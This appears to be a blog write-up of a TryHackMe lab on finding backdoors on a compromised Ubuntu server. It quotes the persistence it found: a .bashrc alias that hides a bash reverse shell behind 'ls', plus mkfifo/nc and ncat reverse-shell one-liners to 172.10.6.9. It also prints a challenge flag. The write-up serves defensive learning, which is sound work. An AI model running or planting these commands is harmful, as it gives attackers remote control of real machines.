A server has been compromised, and the security team has decided to isolate the machine until it’s been thoroughly cleaned up. Initial checks by the Incident Response team revealed that there are five different backdoors. It’s your job to find and remediate them before giving the signal to bring the server back to production.
Let’;s start connecting with SSH to the server
Ubuntu 20.04.4 LTS
I would say that anything starting with .bad can be interesting or at least a red flag
.bad_bash
let’s open the .bashrc file and check it
bash:
nano .bashrc
description
ls='(bash -i >& /dev/tcp/172.10.6.9/6969 0>&1 & disown) 2>/dev/null; ls –color=auto’
/usr/bin/rm /tmp/f;/usr/bin/mkfifo /tmp/f;/usr/bin/cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc 172.10.6.9 6969 >/tmp/f
THM{d1rty_w0rdl1st}
Ncat: TIMEOUT.
ncat -e /bin/bash 172.10.6.9 6969
.bashrc
check etc/passw to see which users are on the system
nobody
Sometimes, adversaries don’t need malware — just a few cron jobs, a backdoored .bashrc, and a creative alias. This challenge was a reminder that persistence isn’t always fancy… it’s often just hiding in plain sight.
Cybersecurity learner, log nerd, and TryHackMe badge hoarder. Let’s connect on LinkedIn before I get pulled into another packet capture.
Apparently we have to tell you this: yes, cookies are used. They're not edible, and no, you can't escape them — but you can pick what gets tracked. Yay for EU law!